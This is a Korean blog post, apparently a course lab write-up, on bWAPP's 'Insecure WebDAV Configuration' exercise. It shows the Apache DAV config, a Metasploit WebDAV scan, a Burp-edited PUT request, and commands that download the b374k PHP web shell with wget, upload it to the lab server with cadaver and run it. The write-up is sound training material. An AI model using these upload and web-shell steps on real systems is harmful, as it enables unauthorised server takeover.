정보보안(구버전)/ bWAPP 2019. 2. 16. 13:13

웹 해킹 bWAPP - 73. A5 - Security Misconfiguration - Insecure WebDAV Configuration

 

 

본 내용은 교육 과정에서 필요한 실습 목적으로 구성된 것이며, 혹시라도 개인적인 용도 및 악의적인 목적으로 사용할 경우, 법적 책임은 본인에게 있다는 것을 알려드립니다. 

 

 

1. Security Misconfiguration

 

 - OWASP Top10 A5 - 잘못된 보안 구성
 - 서버/시스템/DB/네트워크 장비/웹 설정 요류로 인하여 발생하는 취약점이다.
 - Ex) 디렉토리 리스팅, 에러페이지, 웹페이지 주석, 웹서버 기본 설정, Adobe Flash 취약점, DoS/DDos 공격,

         특정 서비스에 대한 Reverse_TCP 공격, 로컬 권한 취약점, 백업/임시/robots 파일


 

 

2. WebDAV

 

 - HTTP 환경에서 웹-서버 파일 조회, 송수신, 수정, 삭제, 이동이 가능한 FTP와 비슷한 서비스이다.

 - WebDAV에서는 HTTP 메소드 이외에 추가된 메소드가 있다.

 

 메소드

내용 

GET

 리소스를 취득할때 사용한다. URL 형식으로 웹서버로 리소스를 요청한다.

HEAD 

 메세지 헤더 정보만 취득할때 사용한다.

POST 

 내용을 URL 형식으로 전송하는 것이라 아니라 Body에 내용을 포함시켜서 전송한다.

PUT

 헤더 이외에 메세지(파일)를 전송할 수 있다. 즉, 웹서버에 파일을 전송할 수 있다.

 DELETE

 파일 삭제 및 웹 리소스를 삭제한다.

 OPTIONS

 서버가 지원하는 메소드를 질의하여 응답으로 받아온다.

TRACE

 요청 리소스가 수신되는 경로를 확인할때 사용한다.

 CONNECT

 프락시 서버와 같은 중간 서버를 경유할때 사용한다.

PROPFIND 

 웹 파일 목록과 속성을 조회할때 사용한다.

 PROPPATCH

 하나의 리소스에 대한 속성을 변경할때 사용한다.

MKCOL 

 신규 디렉토리/폴더를 생성할때 사용한다.

COPY

 리소스와 파일을 복사할때 사용한다.

MOVE

 리소스와 파일을 이동할때 사용한다.

LOCK

 리소스와 파일이 overwrite되는 기능을 on 할때 사용한다.

UNLOCK 

 리소스와 파일이 overwrite되는 기능을 off 할때 사용한다.

 

 

 

3. Insecure WebDAV Configuration

 

 - 'PUT' 메소드를 이용하여 WebDAV에 악의적인 파일을 업로드하는 취약점을 갖고 있다.

 - 업로드된 파일(악성코드, 백도어, 랜섬웨어...)을 다른 사용자가 클릭하게 되면 문제가 발생할 수 있다.

 

bee@bee-box:/var/www/bWAPP$ cd /etc/apache2/


bee@bee-box:/etc/apache2$ ls -l httpd.conf
-rw-r--r-- 1 root root 226 2013-12-17 00:04 httpd.conf

bee@bee-box:/etc/apache2$ vi httpd.conf

ExtendedStatus On
<Location /server-status>
 SetHandler server-status
 Order deny,allow
 Allow from all
</Location>

 

# Allows WebDAV, not secure!!!
Alias /webdav /var/www/bWAPP/documents
<Location /webdav>
 DAV On
</Location>
 

:q!

 

 

bee@bee-box:/etc/apache2$ ls /var/www/bWAPP/documents
bWAPP_intro.pdf  Terminator_Salvation.pdf    The_Cabin_in_the_Woods.pdf  The_Incredible_Hulk.pdf
Iron_Man.pdf     The_Amazing_Spider-Man.pdf  The_Dark_Knight_Rises.pdf

 

 

 

4. Security Misconfiguration - Insecure WebDAV Configuration

 

 - 이 시나리오는 bWAPP에 WebDAV 기능이 활성화되어 있기 때문에 이를 이용하여 디렉토리 검색 및 악의적인 파일을

   업로드하는 내용이다.

 

 

Ex1) Security Misconfiguration - Insecure WebDAV Configuration 이해 I

 

 

보안 레벨 선택 및 시나리오 선택

 

 

 

메타스플로잇을 이용하여 WebDAV 스캐닝 실시

root@kali:~# msfconsole -q

msf >
msf > use auxiliary/scanner/http/webdav_scanner
msf auxiliary(scanner/http/webdav_scanner) > set rhosts 192.168.20.205
rhosts => 192.168.20.205


msf auxiliary(scanner/http/webdav_scanner) > exploit

 

[*] 192.168.20.205 (Apache/2.2.8 (Ubuntu) DAV/2 mod_fastcgi/2.4.6 PHP/5.2.4-2ubuntu5 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g) WebDAV disabled.
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed


msf auxiliary(scanner/http/webdav_scanner) > quit
root@kali:~#  

 

 

 

'WebDAV' 버튼 클릭 또는 'http://192.168.20.205/webdav' 접속 실시

 

 

 

/webdav 안에 있는 파일 확인

 

 

 

Intercept -> 'Intercept is on' 으로 변경 실시

 

 

버프슈트 Intercept 내용 확인

 

 

 

PUT 메소드 변경 및 Body 내용 추가

GET /webdav/ HTTP/1.1   <- 기존 내용

PUT /webdav/cisco.txt HTTP/1.1   <- 변경 내용

 

Host: 192.168.20.205

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://192.168.20.205/bWAPP/sm_webdav.php

Cookie: security_level=0; PHPSESSID=1f1a2b0da13f8be69cc75be882319eed

Connection: close

Upgrade-Insecure-Requests: 1

 

cisco1234   <- 추가 내용

 

 

 

PUT 메소드 변경 및 Body 내용 확인 -> 'Forward' 버튼 클릭

 

 

 

'Intercept is on'를 클릭하여 off 실시

 

 

 

'Intercept is off' 확인

 

 

 

'WebDAV' 버튼 클릭

 

 

 

'cisco.txt' 파일 업로드 결과 확인 및 클릭

 

 

 

PUT 메소드로 전송된 Body 내용 확인

 

 

 

 

 

Ex2) Security Misconfiguration - Insecure WebDAV Configuration 이해 II

 

 - 구글에서 'bk374k' 검색를 검색하여 'b374k' 웹쉘 다운로드 실시

 

73-0. b374k-3.2.2.php 다운로드.txt

b374k-3.2.2.php

 

'b374k' 웹쉘 다운로드 실시

root@kali:~# wget https://raw.githubusercontent.com/tennc/webshell/master/php/b374k/b374k-3.2.2.php


--2019-02-20 09:38:21--  https://raw.githubusercontent.com/tennc/webshell/master/php/b374k/b374k-3.2.2.php
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 151.101.228.133
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|151.101.228.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 222039 (217K) [text/plain]
Saving to: ‘b374k-3.2.2.php’

b374k-3.2.2.php     100%[=================>] 216.83K  1.27MB/s    in 0.2s   

2019-02-20 09:38:27 (1.27 MB/s) - ‘b374k-3.2.2.php’ saved [222039/222039]

 

root@kali:~# ls 
Downloads  Public      Videos           pass.txt
Desktop    Music      Ransomware  b374k-3.2.2.php  slowloris.pl
Documents  Pictures   Templates   bWAPP.snmp       user.txt

 

 

 

'cadaver' PUT 메소드를 이용하여 /webdav에 'b374k' 웹쉘 업로드 실시

root@kali:~# cadaver http://192.168.20.205/webdav
dav:/webdav/> help
Available commands:
 ls         cd         pwd        put        get        mget       mput      
 edit       less       mkcol      cat        delete     rmcol      copy      
 move       lock       unlock     discover   steal      showlocks  version   
 checkin    checkout   uncheckout history    label      propnames  chexec    
 propget    propdel    propset    search     set        open       close     
 echo       quit       unset      lcd        lls        lpwd       logout    
 help       describe   about     
Aliases: rm=delete, mkdir=mkcol, mv=move, cp=copy, more=less, quit=exit=bye
dav:/webdav/>
dav:/webdav/> put /root/b374k-3.2.2.php
Uploading /root/b374k-3.2.2.php to `/webdav/b374k-3.2.2.php':
Progress: [=============================>] 100.0% of 222039 bytes succeeded.
dav:/webdav/>
dav:/webdav/> quit
Connection to `192.168.20.205' closed.
root@kali:~#  

 

 

 

'WebDAV' 버튼 클릭

 

 

 

'b374k' 파일 업로드 결과 확인 및 클릭

 

 

 

패스워드(b374k) 입력 및 엔터

 

 

 

b374k 웹쉘 실행 완료 (Explorer 환경 또는 Terminal 환경 사용 가능)

 

 

 

업로드 파일 삭제 실시

bee@bee-box:/etc/apache2$ cd /var/www/bWAPP/documents

bee@bee-box:/var/www/bWAPP/documents$ rm b374k-3.2.2.php
rm: remove write-protected regular file `b374k-3.2.2.php'? y

bee@bee-box:/var/www/bWAPP/documents$ ls
bWAPP_intro.pdf  Iron_Man.pdf              The_Amazing_Spider-Man.pdf  The_Dark_Knight_Rises.pdf
cisco.txt        Terminator_Salvation.pdf  The_Cabin_in_the_Woods.pdf  The_Incredible_Hulk.pdf

bee@bee-box:/var/www/bWAPP/documents$ rm cisco.txt
rm: remove write-protected regular file `cisco.txt'? y


bee@bee-box:/var/www/bWAPP/documents$ ls

bWAPP_intro.pdf  Terminator_Salvation.pdf    The_Cabin_in_the_Woods.pdf  The_Incredible_Hulk.pdf
Iron_Man.pdf     The_Amazing_Spider-Man.pdf  The_Dark_Knight_Rises.pdf 

 

 

[유튜브] 동영상 강의 링크 (구독! 좋아요!!!)

 

웹해킹 73. A5 - bWAPP Security Misconfiguration - Insecure WebDAV Configuration   https://youtu.be/6WQiALz16HQ

Posted by 김정우 강사(카카오톡 : kim10322)
,


Q